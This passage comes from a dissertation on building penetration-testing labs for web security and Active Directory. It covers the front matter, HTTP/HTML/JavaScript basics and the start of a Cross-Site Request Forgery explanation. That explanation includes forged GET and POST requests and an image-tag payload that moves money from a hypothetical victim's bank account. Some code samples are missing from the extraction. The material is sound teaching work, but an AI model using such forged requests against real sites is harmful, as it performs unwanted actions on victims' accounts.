Dissertation
Dissertation
Examination Committee
June 2023
Acknowledgments
First and foremost, I would like to take this opportunity to thank my family for their unconditional love,
support and unwavering presence in my life. To my mother and my brother, your heartfelt encouragement
and belief in me have been a source of strength. Thank you for always being there and providing the
inspiration I needed. To my grandparents, uncles, aunts and cousins, I am immensely grateful for the
countless ways you have contributed to my life and I deeply appreciate everything you have done for me
throughout the years.
I would like to express my deepest gratitude to my father. Your wisdom, life lessons and teachings
continue to resonate within me, maybe now more than ever. Your emphasis on perseverance, discipline,
dedication and family has instilled in me the drive to overcome any obstacle and strive for excellence. I
am forever grateful for the invaluable values you have passed to me, which have shaped my character
and fueled my passion. Although I deeply miss you, my memories of you will forever inspire me to
reach for the highest aspirations in both my personal and professional life. Thank you, Dad, for the
immeasurable impact you have had on my life. Tu és o meu herói!
Additionally, I would like to extend my gratitude to my friends, who have been a constant source of
happiness and good vibes. In particular, I want to express my appreciation to Mariana for her support,
insightful conversations and willingness to lend a helping hand whenever needed. Your friendship has
meant the world to me and I am grateful for your presence in my life. Thank you Bruno, Bernardo and
Henrique for the incredible moments we have shared that have completely changed my life and opened
my eyes in ways I had never imagined.
My sincere thanks also go to my supervisor, Prof. Rui Valadas, for his guidance, expertise and
unwavering commitment to my work. Your valuable insights, constructive feedback and patience have
played a pivotal role in shaping the direction of this dissertation. I am truly grateful for the opportunity
to work under your supervision. I would also like to acknowledge the assistance provided by Bruno
Morisson and Filipe Bernardo from Integrity.
Last but not least, I would like to show my appreciation to all those who have positively contributed
to my life and helped me grow as a person in this strange world.
Thank you all from the bottom of my heart.
i
Abstract
In light of the escalating cybercrime rates and the pressing need for enhanced digital security, there is
a growing interest in skilled cybersecurity professionals who can identify and mitigate vulnerabilities in
digital systems. Hence, it becomes imperative to provide comprehensive hands-on training for students
and aspiring cybersecurity professionals to equip them with the necessary skills and practical knowledge
to effectively combat cyber threats and protect digital systems.
This dissertation proposes the design and implementation of a series of specialized penetration test-
ing laboratories centered on two critical areas: Web Security and Windows Active Directory. The goal
is to provide a controlled environment where students, cybersecurity enthusiasts and aspiring cyber-
security professionals can identify, exploit and learn how to mitigate vulnerabilities without impacting
real-world systems or users. To achieve this, three different pentesting labs were developed: Hacker-
gram Lab, Rebind&Conquer Lab and HacktiveDirectory Lab.
The first environment, Hackergram Lab, allows its users to exploit key web vulnerabilities, such as
Cross-Site Request Forgery, Cross-Site Scripting and SQL Injection. The second, Rebind&Conquer
Lab, demonstrates how the DNS Rebinding attack can be performed. Finally, HacktiveDirectory Lab
focus on Windows Active Directory vulnerabilities and enables its users to conduct well-known attacks
such as User Enumeration, Password Spraying, AS-REP Roasting, Kerberoasting, Golden Ticket and
SMB Relay.
This work was supported by Instituto de Telecomunicações and Integrity.
Keywords
iii
Resumo
Como consequência do aumento das taxas de cibercrime e da necessidade urgente de uma melhor
segurança digital, existe um interesse crescente em profissionais de cibersegurança qualificados que
possam identificar e mitigar vulnerabilidades em sistemas digitais. Desta forma, torna-se imperativo
fornecer formação prática abrangente para estudantes e aspirantes a profissionais de cibersegurança,
de modo a equipá-los com as habilidades necessárias e com o conhecimento prático para combater
eficazmente as ameaças digitais e proteger estes sistemas.
Esta dissertação propõe o desenho e a implementação de uma série de laboratórios para testes
de intrusão centrados em duas áreas crı́ticas: Segurança Web e Windows Active Directory. O objetivo
é fornecer um ambiente controlado onde estudantes, entusiastas de cibersegurança e aspirantes a
profissionais de cibersegurança possam identificar, explorar e aprender a mitigar vulnerabilidades sem
afetar sistemas ou utlilizadores reais. Posto isto, foram desenvolvidos três diferentes laboratórios para
testes de intrusão: Hackergram Lab, Rebind&Conquer Lab e HacktiveDirectory Lab.
O primeiro laboratório, Hackergram Lab, permite que seus utilizadores explorem vulnerabilidades
web como Cross-Site Request Forgery, Cross-Site Scripting e SQL Injection. O segundo, Rebind&
Conquer Lab, demonstra como é que o ataque de DNS Rebinding pode ser realizado. Finalmente, o
HacktiveDirectory Lab foca-se em vulnerabilidades especı́ficas de Windows Active Directory e permite
aos seus utilizadores realizar alguns dos ataques mais conhecidos como User Enumeration, Password
Spraying, AS-REP Roasting, Kerberoasting, Golden Ticket e SMB Relay.
Este trabalho foi apoiado pelo Instituto de Telecomunicações e pela Integrity.
Palavras Chave
v
Contents
1 Introduction 1
1.1 Motivation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 3
1.2 Objectives . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 3
1.3 Contributions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 4
1.4 Document Structure . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 4
2 Web Security 7
2.1 Web Technologies . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 9
2.1.1 HTTP . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 9
2.1.2 HTML . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 11
2.1.3 JavaScript . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 12
2.2 Cross-Site Request Forgery . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 12
2.2.1 How it works . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 13
2.2.1.A Using HTTP GET requests . . . . . . . . . . . . . . . . . . . . . . . . . . 14
2.2.1.B Using HTTP POST requests . . . . . . . . . . . . . . . . . . . . . . . . . 14
2.2.2 Countermeasures . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 15
2.3 Cross-Site Scripting . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 16
2.3.1 Reflect XSS attack . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 16
2.3.2 Stored XSS attack . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 17
2.3.3 DOM-based XSS attack . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 18
2.3.4 Countermeasures . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 19
2.4 SQL Injection . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 20
2.4.1 In-band SQLi . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 21
2.4.1.A Piggybacked SQLi . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 21
2.4.1.B Union-based SQLi . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 21
2.4.1.C Error-based SQLi . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 22
2.4.1.D Other examples . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 23
2.4.2 Blind SQLi . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 23
vii
2.4.2.A Boolean-based SQLi . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 24
2.4.2.B Time-based SQLi . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 24
2.4.3 Authentication Bypass . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 25
2.4.4 Countermeasures . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 25
2.5 DNS Rebinding Attack . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 26
2.5.1 How it works . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 27
2.5.2 Countermeasures . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 28
3 Active Directory 31
3.1 Introduction to Active Directory . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 33
3.2 Architecture and Components . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 34
3.2.1 Domain Controllers . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 35
3.2.2 Objects . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 36
3.2.2.A Users . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 36
3.2.2.B Computers . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 37
3.2.2.C Security Groups . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 37
3.2.2.D Organizational Units . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 38
3.2.3 Group Policy . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 39
3.2.4 Trees, Forests and Trust relationships . . . . . . . . . . . . . . . . . . . . . . . . . 39
3.3 Authentication . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 41
3.3.1 Kerberos . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 41
3.3.1.A Ticket Granting Ticket and Session Key . . . . . . . . . . . . . . . . . . . 42
3.3.1.B Ticket Granting Service and Service Session Key . . . . . . . . . . . . . 43
3.3.1.C Using a Ticket Granting Service to authenticate . . . . . . . . . . . . . . 44
3.3.2 NTLM . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 44
3.4 Name Resolution . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 45
3.4.1 LLMNR . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 46
3.4.2 NBT-NS . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 47
3.5 Server Message Block . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 47
3.6 Common Attacks . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 48
3.6.1 User Enumeration and Password Spraying . . . . . . . . . . . . . . . . . . . . . . 48
3.6.2 AS-REP Roasting . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 50
3.6.3 Kerberoasting . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 50
3.6.4 Golden Ticket . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 51
3.6.5 SMB Relay . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 52
viii
4 Hackergram Lab 55
4.1 Related Work . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 57
4.1.1 SEED Labs . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 58
4.1.2 PortSwigger’s Web Security Academy . . . . . . . . . . . . . . . . . . . . . . . . . 58
4.1.3 TryHackMe . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 58
4.2 Overview . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 59
4.2.1 Structure . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 59
4.2.2 Database Schema . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 60
4.2.3 Routes and functionalities . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 61
4.2.4 Additional information . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 62
4.3 Attacks . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 62
4.3.1 Cross-Site Request Forgery . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 63
4.3.1.A Attacking HTTP POST services . . . . . . . . . . . . . . . . . . . . . . . 63
4.3.1.B Attacking HTTP GET services . . . . . . . . . . . . . . . . . . . . . . . . 64
4.3.2 Cross-Site Scripting . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 66
4.3.2.A Stored XSS . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 66
4.3.2.B Reflected XSS . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 68
4.3.2.C XSS worm . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 70
4.3.3 SQL Injection . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 72
4.3.3.A Using SQLi to bypass authentication . . . . . . . . . . . . . . . . . . . . . 72
4.3.3.B Union-based SQLi . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 73
4.3.3.C Piggybacked SQLi . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 73
4.3.3.D Error-based SQLi . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 74
4.3.3.E Boolean-based SQLi . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 75
4.3.3.F Time-based SQLi . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 76
4.3.3.G Using SQLi to change other user’s profile . . . . . . . . . . . . . . . . . . 76
5 Rebind&Conquer Lab 79
5.1 Related Work . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 81
5.1.1 SEED Labs’ DNS Rebinding Attack . . . . . . . . . . . . . . . . . . . . . . . . . . 81
5.2 Overview . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 81
5.2.1 Router . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 82
5.2.2 Victim . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 82
5.2.3 Attacker . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 83
5.2.4 DNS server . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 83
5.3 Attack . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 84
ix
5.3.1 Successful scenario . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 84
5.3.2 Failed scenario . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 86
6 HacktiveDirectory Lab 87
6.1 Related Work . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 89
6.1.1 GOAD . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 89
6.1.2 Adversary Simulation Lab . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 90
6.2 Overview . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 91
6.2.1 Terraform . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 92
6.2.2 Desired State Configuration . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 92
6.2.3 Additional Information . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 94
6.3 Attacks . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 94
6.3.1 User Enumeration and Password Spraying . . . . . . . . . . . . . . . . . . . . . . 95
6.3.2 AS-REP Roasting . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 97
6.3.3 User with cleartext password in description . . . . . . . . . . . . . . . . . . . . . . 98
6.3.4 Kerberoasting . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 99
6.3.5 Golden Ticket . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 99
6.3.6 SMB Relay . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 101
7 Conclusion 105
7.1 Contributions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 107
7.2 Future Work . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 108
Bibliography 109
x
List of Figures
xi
4.5 Stored XSS . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 67
4.6 Stored XSS on profile picture . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 69
4.7 <img> tag with injected JavaScript code . . . . . . . . . . . . . . . . . . . . . . . . . . . . 69
4.8 Reflected XSS . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 70
4.9 Malicious post that deploys the worm . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 71
4.10 Worm propagating . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 72
4.11 SQL injection in the login form . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 73
4.12 Users and passwords dump . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 74
4.13 Posts table deleted from the database . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 74
4.14 SQL server version and database structure . . . . . . . . . . . . . . . . . . . . . . . . . . 75
4.15 Bruteforcing the password of the @admin user . . . . . . . . . . . . . . . . . . . . . . . . . 77
4.16 Victim’s profile changed by SQLi attack in /settings . . . . . . . . . . . . . . . . . . . . . 77
xii
6.16 Creating a golden ticket . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 101
6.17 Using the golden ticket to authenticate as the admin user . . . . . . . . . . . . . . . . . . 101
6.18 Waiting for victims to relay the NTLM authentication . . . . . . . . . . . . . . . . . . . . . 102
6.19 LLMNR poisoning stage . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 102
6.20 The attacker is able to authenticate as [Link] . . . . . . . . . . . . . . . . . . 103
6.21 Gaining a remote SMB shell on the target server . . . . . . . . . . . . . . . . . . . . . . . 103
xiii
xiv
List of Tables
xv
xvi
Acronyms
AD Active Directory
DC Domain Controller
DN Distinguished Name
xvii
LDAP Lightweight Directory Access Protocol
OU Organizational Unit
VM Virtual Machine
xviii
Introduction
1
Contents
1.1 Motivation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 3
1.2 Objectives . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 3
1.3 Contributions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 4
1
2
1.1 Motivation
Our society’s reliance on technology and internet has grown exponentially in this digital era and they
have become absolutely indispensable to our daily lives. The industry has completely revolutionized
the way we live, work and interact with each other. As such, we have become increasingly dependent
on the security, integrity and robustness of digital systems, networks and data. In an age where cyber
crime has been rising at an accelerated pace, it is paramount that online platforms implement vigorous
strategies to protect their users and their businesses.
In this context, it is imperative for companies and applications to be prepared and able to strengthen
their digital defenses as much as possible in order to minimize the risks and consequences associated
with data breaches, ransomware, and other cyber attacks. These cyber threats highlight the expanding
need for skilled cybersecurity professionals who can identify vulnerabilities, assess risks and implement
the proper mechanisms to safeguard these systems. After all, it is our personal information, financial
assets, critical infrastructure and overall security of our online lives that is at stake. Simultaneously,
the demand for practical knowledge and hands-on training in the field of cybersecurity has never been
higher.
This dissertation aims to address this growing need by developing a series of penetration testing
laboratories focused on two distinct, yet critical areas: Web Security and Windows Active Directory. By
providing a controlled environment for students and aspiring cybersecurity professionals to practice their
skills in a strategically realistic setting, this project seeks to support and contribute to the ongoing en-
deavors to secure our digital world. In particular, to improve the security and integrity of web applications
and active directory networks.
As cyber attacks continue to evolve and become more sophisticated, the need for trained and skilled
cybersecurity professionals capable of mitigating these threats will most likely keep growing. By devel-
oping intentionally vulnerable pentesting labs that allow aspiring professionals to learn how to identify,
exploit and fix web and active directory vulnerabilities, this dissertation hopes to help equipping cyber-
security students with the necessary knowledge and skills to be able to follow their path to proficiency
and expertise in this field.
1.2 Objectives
The aim of this dissertation is to design and implement a comprehensive series of penetration testing
laboratories, focusing on both Web Security and Active Directory, to function as learning resources for
cybersecurity students, enthusiasts and aspiring professionals. These labs should enable users to have
hands-on training and acquire practical knowledge.
3
1.3 Contributions
This dissertation resulted in the development and implementation of three specialized pentesting labo-
ratories for hands-on training in the areas of Web Security and Active Directory:
1. Hackergram Lab:
(a) Provides a realistic setting in GNS3 using Docker containers, where web-based attacks like
Cross-Site Request Forgery, Cross-Site Scripting and SQL Injection can be thoroughly ex-
plored.
2. Rebind&Conquer Lab:
(a) Provides a realistic setting in GNS3 using Docker containers, where the DNS Rebinding attack
can be demonstrated.
3. HacktiveDirectory Lab:
(a) Provides a controlled environment in AWS, where some of the most common Active Directory
attacks, such as User Enumeration, Password Spraying, AS-REP Roasting, Kerberoasting,
Golden Ticket and SMB Relay, can be performed.
This document is organized into six more sections, each focusing on a specific aspect of this disserta-
tion. This structure aims to provide a logical progression throughout the dissertation, from foundational
knowledge to practical implementation of the overall project.
First of all, Chapter 2 delves into the essential concepts of web security, focusing on key vulnerabili-
ties and attacks. In particular, it covers Cross-Site Request Forgery, Cross-Site Scripting, SQL Injection
and the DNS Rebinding attack, as well as the countermeasures that should be implemented to mitigate
the corresponding vulnerability. The chapter provides an introduction to basic Web Security principles
for the subsequent implementation of the pentesting labs.
Chapter 3 explores the fundamentals of Windows Active Directory, covering key topics such as the
architecture and operation of these networks, the authentication protocols that are used and various
Active Directory vulnerabilities and attacks, such as User Enumeration, Password Spraying, AS-REP
Roasting, Kerberoasting, Golden Ticket and SMB Relay. The chapter serves as a basis for understand-
ing the Active Directory component of this dissertation and its pentesting lab.
After that, the focus shifts from theory to the practical implementation of the pentesting labs for both
Web Security and Active Directory. The process of materializing the labs is discussed in the following
4
chapters, as well as the tools and technologies used to implement them. These chapters highlight
the hands-on aspect of this dissertation and provide a practical handbook for creating and using the
pentesting labs, with step-by-step guides on how to perform the attacks.
With that in mind, Chapter 4 presents Hackergram Lab, the pentesting environment that was devel-
oped to learn and practice web attacks and vulnerabilities, followed by detailed demonstrations of the
Cross-Site Request Forgery, Cross-Site Scripting and SQL Injection attacks.
Along this line, Chapter 5 reviews the implementation of Rebind&Conquer Lab, which is the pentest-
ing environment that was developed to study and experiment with DNS Rebinding, and demonstrates
the attack in action.
Chapter 6 explores the development of HacktiveDirectory Lab, the intentionally vulnerable Active
Directory network that provides a controlled environment to experiment with Windows Active Directory,
enabling lab users to learn and practice attacks, such as User Enumeration, Password Spraying, AS-
REP Roasting, Kerberoasting, Golden Ticket and SMB Relay. Comprehensive demonstrations are also
included for each of the previously mentioned attacks.
Lastly, Chapter 7 draws some conclusions about the implications and contributions of the disserta-
tion, on both the implementation and exploitation elements. Furthermore, it examines the limitations of
the pentesting labs and provides suggestions for future work.
5
6
Web Security
2
Contents
2.1 Web Technologies . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 9
7
8
This chapter begins by examining the basic concepts of key technologies that are crucial to the
functioning of web applications, such as Hypertext Transfer Protocol, Hypertext Markup Language and
JavaScript. Understanding the core ideas behind these technologies is essential in the context of Web
Security.
In addition, this chapter covers major web vulnerabilities and how they can be exploited. Specifically,
it focus on Cross-Site Request Forgery, Cross-Site Scripting, SQL Injection and the DNS Rebinding
attack. For each, it explains the fundamental cause of the vulnerability and how a malicious actor
may attempt to exploit it. Finally, it presents various countermeasures that can be used to mitigate the
corresponding vulnerability.
Before learning about web vulnerabilities and attacks, it is important to comprehend the basics of some
fundamental technologies used in web applications. In particular, Hypertext Transfer Protocol, Hyper-
text Markup Language and JavaScript. Grasping the core concepts and security implications of these
technologies will facilitate the understanding of the covered web vulnerabilities and how they can be
exploited.
2.1.1 HTTP
Hypertext Transfer Protocol (HTTP) is the foundational protocol for transmission of data on the World
Wide Web. HTTP uses a request-response model to enable communication between a client (i.e., the
user’s web browser) and a server [1].
The key components of an HTTP request consist of the following elements [1, 2]:
• A method, which defines the operation to be performed (e.g., GET and POST).
• The Uniform Resource Locator (URL), which indicates the name of the resource being requested.
• Optional headers, which provide additional information about the client, the server and the mes-
sage itself.
• A body, which represents the main data portion of the message. It is only used in some methods,
such as POST.
For instance, an HTTP GET request to the homepage of the [Link] website would look
as follows:
9
1 GET / \ac{HTTP}/1.1
2 Host: [Link]
3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
5 Accept-Language: en-US,en;q=0.5
6 Accept-Encoding: gzip, deflate, br
7 Connection: keep-alive
On the other side, an HTTP response includes the following elements [1, 2]:
• A satus code, which indicates the result of the request, such as 200 (OK), 404 (Not Found), 500
(Internal Server Error), etc.
• A body, which represents the actual data returned from the server.
In response to the above request, an HTTP response from the server would look as follows:
1 \ac{HTTP}/1.1 200 OK
2 Date: Thu, 25 May 2023 09:28:12 GMT
3 Server: Apache/2.4.1 (Unix)
4 Last-Modified: Mon, 23 Jan 2023 13:20:26 GMT
5 Content-Type: text/html
6 Content-Length: 138
7 Connection: close
8 <html>
9 <head>
10 <title>Example Page</title>
11 </head>
12 <body>
13 Hello World!
14 </body>
15 </html>
A critical aspect of HTTP is that, by default, it transmits data in cleartext, which can be intercepted
and read by attackers (i.e., a man-in-the-middle attack). To prevent this, Hypertext Transfer Protocol
Secure (HTTPS) was introduced, which encrypts the data exchanged between the client and the web
server using Transport Layer Security (TLS).
10
Another important thing to note about HTTP is its stateless nature, meaning that each request-
response is processed independently and the web server does not need to retain information about the
requests that came before. For that reason, HTTP does not provide a method for verifying who is making
a request or for maintaining a user’s session. This issue is typically addressed by using HTTP cookies
to store user session data and other information on the client side.
Cookies are small data fragments that a web server sends to the user’s web browser, which stores
them and sends them back to the same server in the following requests [2]. Cookies are domain-specific,
meaning that a cookie set by one domain cannot be accessed by another. This mechanism allows web
servers to remember stateful information, such as logins, shopping carts, user settings, etc.
When a web server responds to an HTTP request, it can include a Set-Cookie header in the HTTP
response, as follows:
Although cookies play a vital role in enhancing the user experience and the overall functionality of
websites, they may also pose a security risk. For instance, if attackers are able to steal some user’s
cookies, they might be capable of impersonating that user on the website.
2.1.2 HTML
Hypertext Markup Language (HTML) is the standard markup language used for creating web pages and
defines the structure of a web page [1]. Understanding the basics of HTML is crucial for comprehending
web security vulnerabilities and attacks, as these often leverage the structure and functionality of HTML
elements.
HTML documents are constructed using a collection of HTML elements, which are represented by
opening (<>) and closing (</>) tags. These elements are used to add text (<p>), images (<img>), hyper-
links (<a>), and other type content to the web page. For example, <h1> can be used to create a heading
in HTML:
1 <h1>This is a Heading</h1>
HTML also has a mechanism that enables users to input and submit data to the web server, called
forms. For instance, a form with a text input field and a submit button can be created as follows:
11
Another important element of HTML is the <script> tag, which is used to add JavaScript code to
the web page. The code can either be directly included within the HTML document (line 1) or the src
attribute of the element can be used to reference an external JavaScript file (line 2), as follows:
Although JavaScript adds interactivity and dynamic functionality to web pages, it can also introduce
security risks if user input is not properly handled before being included in a web page.
2.1.3 JavaScript
JavaScript is an object-oriented scripting language that plays a vital role in web development, providing
dynamic functionality and interactivity to web pages [3]. JavaScript can be executed both on the client-
side and on the server-side but, for the purpose of this dissertation, the interest lies on the former. On
the client-side, this programming language extends web interfaces in ways that surpass the limitations
of HTML alone [1], allowing to implement drop-down menus and respond to user events, such as mouse
clicks.
JavaScript interacts with the Document Object Model (DOM), which represents the structure of an
HTML document. The DOM provides a programming interface for web browsers to dynamically access
and manipulate elements, attributes and other contents of a web page. This means that JavaScript code
is able to manipulate the appearance of a web page by querying and updating the DOM.
However, the execution of JavaScript code within web applications introduces important security
considerations. For instance, attackers might be able to inject malicious scripts into web pages if user-
supplied data is not properly validated.
When a website makes an HTTP request to another website, that request is called cross-site. On the
other hand, if a request is made to the same website, it is a same-site request. Cross-site requests are
fundamental to websites and web browsing as they allow web pages to include information (e.g., im-
ages) from other websites and are specifically crucial for online advertising. Without cross-site requests,
websites would not be able to connect with each other. However, these cross-site requests may also
represent an attack vector if web applications do not employ the proper defense mechanisms.
When a user is browsing a web page, the web browser keeps session cookies provided by the web-
site. These cookies are usually used by web applications to identify users and store stateful information
about them. Web browsers attach all cookies belonging to a website to every request that is made to
12
that website, whether it is same-site or cross-site. Therefore, a web server cannot distinguish between
same-site and cross-site requests. If these are not properly differentiated, other websites can forge
requests that are identical to same-site requests and force victims to execute unwanted actions in the
vulnerable website in which the victim is authenticated. For instance, if the target is a vulnerable home
banking website, the attacker might be able to make a transfer of money from the victim’s account to his
account.
There are three entities involved in a Cross-Site Request Forgery (CSRF) attack: a victim, a target
website and an attacker’s malicious website. The victim is typically authenticated in the target website
and has an active session. The attacker tricks the victim into opening his malicious website by sending it
via email or chat, for example. Then, the victim’s web browser sends the cross-site request to the target
website with the victim’s cookies. If the website does not employ any countermeasures to identify the
forged request, it ultimately accepts the request and an action is performed on behalf of the victim.
Figure 2.1 demonstrates a hypothetical scenario where the victim, Alice, clicks a link that was sent
to her by email and that leads to Mallory’s website ([Link]). This malicious website makes
a request to Alice’s home banking website ([Link]), where she is logged in. Alice’s web
browser sends the forged request to the vulnerable website with her cookies and a transfer of money is
made without Alice wanting it or even being aware of it.
The attack is only successful if Alice is authenticated in the target website when she opens Mallory’s
malicious web page. Otherwise, the target website will not process the request and will redirect her to
the user login page.
Most services in web applications are available through GET or POST requests. A key difference
between these two types of requests resides in the way data is attached. While GET requests attach
data in the URL, POST requests use the body field to send data. Therefore, the strategy to perform a
CSRF attack differs depending on the type of request that needs to be sent.
13
2.2.1.A Using HTTP GET requests
In HTTP GET requests, the web browser sends data to the web server in the URL. Therefore, if the
vulnerable web application was designed to use GET requests to perform actions, the forged transaction
demonstrated by Figure 2.1 could have been achieved with the following HTTP request:
1 GET [Link]
This request would make a money transfer operation from Alice’s account to account 2403 (Mallory’s
account) for the sum of $999. In order to make Alice’s web browser send the forged request, the
malicious website would not even need to use JavaScript code. Mallory could build a simple web page
with, for example, the following HTML tag:
1 <img src="[Link]
In HTTP POST requests, the web browser sends data to the web server in the body of the request.
Therefore, if the vulnerable web application was designed to use POST requests to perform actions,
the forged transaction demonstrated by Figure 2.1 could have been achieved with the following HTTP
request:
1 POST [Link]
2 to=2403&amount=999
As in the GET request example, this request would make a money transfer operation from Alice’s
